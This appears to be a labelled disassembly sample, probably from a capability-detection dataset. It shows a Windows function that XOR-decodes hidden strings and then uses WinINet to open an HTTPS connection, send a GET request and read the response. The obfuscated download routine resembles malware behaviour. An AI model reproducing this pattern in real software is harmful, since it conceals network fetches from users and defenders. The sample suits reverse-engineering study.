Function at 0x140001a4b
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x478
movabs rax, 0x120d136c6868743c
mov word [rsp + 0x78], 0xd
mov rsi, rdx
mov rdi, rcx
mov rbp, r8
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov r12d, r9d
lea rdx, [rsp + 0x78]
mov r13, rax
xor byte [rax + 1], 0x3c
inc rax
cmp rdx, rax
jne 0x140001a8d
xor eax, eax
lea r14, [rsp + 0x71]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], eax
mov edx, 1
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x140001ccb
xor r10d, r10d
xor r11d, r11d
xor r15d, r15d
xor r9d, r9d
mov qword [rsp + 0x38], r10
mov r8d, 0x1bb
mov rcx, rax
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r15
mov rdx, qword [rdi]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rdi, rax
test rax, rax
jne 0x140001b14
mov rcx, rbx
mov ebx, 0xe5
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001ce5
xor r9d, r9d
xor r8d, r8d
mov byte [rsp + 0x74], 0
mov rdx, r14
mov qword [rsp + 0x28], r9
mov rcx, rax
mov qword [rsp + 0x20], r9
xor r9d, r9d
mov qword [rsp + 0x38], r8
mov dword [rsp + 0x30], 0x80800000
mov r8, qword [rsi]
mov dword [rsp + 0x70], 0x54454772
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
jne 0x140001b73
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call rsi
mov rcx, rbx
mov ebx, 0xe4
call rsi
jmp 0x140001ce5
imul r12d, r12d, 0x3e8
mov edx, 6
lea r8, [rsp + 0x48]
mov rcx, rax
mov r9d, 4
mov dword [rsp + 0x48], r12d
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov byte [rsp + 0x8a], 0
movabs rax, 0x1a11001a1b3774
lea rdx, [rsp + 0x89]
mov qword [rsp + 0x70], rax
movabs rax, 0x544e11040d2059
mov word [rsp + 0x88], 0x7e79
mov qword [rsp + 0x78], rax
movabs rax, 0x1819001c5b000c11
mov qword [rsp + 0x80], rax
mov rax, r13
xor byte [rax + 1], 0x74
inc rax
cmp rdx, rax
jne 0x140001be5
lea r12, [rsp + 0x50]
mov rdx, r14
mov rcx, r12
call fcn.1400016e8
mov rax, qword [rsp + 0x58]
xor ecx, ecx
xor r9d, r9d
mov dword [rsp + 0x20], ecx
mov rdx, qword [rsp + 0x50]
mov rcx, rsi
lea r8d, [rax - 1]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140001c57
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov ebp, eax
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
xor ebx, ebx
cmp ebp, 0x2ee2
sete bl
lea ebx, [rbx*4 + 0xe3]
jmp 0x140001cc1
mov rax, qword [rbp]
xor edx, edx
lea r14, [rsp + 0x4c]
mov r15, qword [sym.imp.WININET.dll_InternetReadFile]
mov qword [rbp + 8], rdx
mov byte [rax], 0
xor eax, eax
mov r9, r14
mov r8d, 0x3ff
mov rdx, r13
mov dword [rsp + 0x4c], eax
mov rcx, rsi
call r15
test eax, eax
je 0x140001ca6
mov eax, dword [rsp + 0x4c]
test eax, eax
je 0x140001ca6
mov rdx, r13
mov rcx, rbp
mov byte [rsp + rax + 0x70], 0
call fcn.1400aa3f0
jmp 0x140001c70
mov rcx, rsi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
mov ebx, 0xe8
mov rcx, r12
call fcn.1400a8e80
jmp 0x140001ce5
mov ebx, 0xe6
jmp 0x140001ce5
mov eax, ebx
add rsp, 0x478
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret